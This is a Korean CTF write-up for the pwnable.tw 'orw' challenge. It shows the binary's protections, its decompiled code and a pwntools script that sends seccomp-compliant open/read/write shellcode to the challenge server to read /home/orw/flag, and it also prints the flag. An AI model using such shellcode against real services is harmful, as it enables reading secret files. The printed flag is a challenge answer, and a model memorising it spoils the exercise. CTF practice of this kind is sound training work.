문제


orw 바이너리의 checksec 결과는 다음과 같다.

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX disabled
PIE:      No PIE
RWX:      Has RWX segments

file 명령어의 결과는 다음과 같다.

orw: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped

orw 바이너리 코드

int __cdecl main(int argc, const char **argv, const char **envp)
{
  orw_seccomp();
  printf("Give my your shellcode:");   // prctl(38, 1, 0, 0, 0); prctl(22, 2, &v1);
  read(0, &shellcode, 0xC8u);
  ((void (*)(void))shellcode)();
  return 0;
}

HITCON-Training lab2 문제와 비슷하게 orw_seccomp() 내에서 prctl 함수를 이용하여 사용 가능한 syscall을 제한한다.

  1. execve는 execve 호출 없이는 수행 할 수 없는 권한을 부여하지 않는다. (HITCON-Training lab2 write-up에서 이 부분 관련 내용 조금 틀린듯…)
  2. 사용할 수 있는 syscall을 open, read, write로 제한한다.

exploit 방법

pwntools의 shellcraft를 이용해서 /home/orw/flag 파일을 open 하고 buffer에 read 한 뒤 화면에 write하는 어셈블리를 짠다.

풀이


#!/usr/bin/python

from pwn import *

#file_path="/home/sungyun/round3/orw/orw"
#p=process(file_path)

p=remote("chall.pwnable.tw", 10001)

p.recvuntil("shellcode:")

pay=pwnlib.shellcraft.open('/home/orw/flag')
pay+=pwnlib.shellcraft.read('eax','esp',0x100)
pay+=pwnlib.shellcraft.write(1,'esp',0x100)

exploit=asm(pay,arch='i386')

p.send(exploit)

print p.recvline()

flag : FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}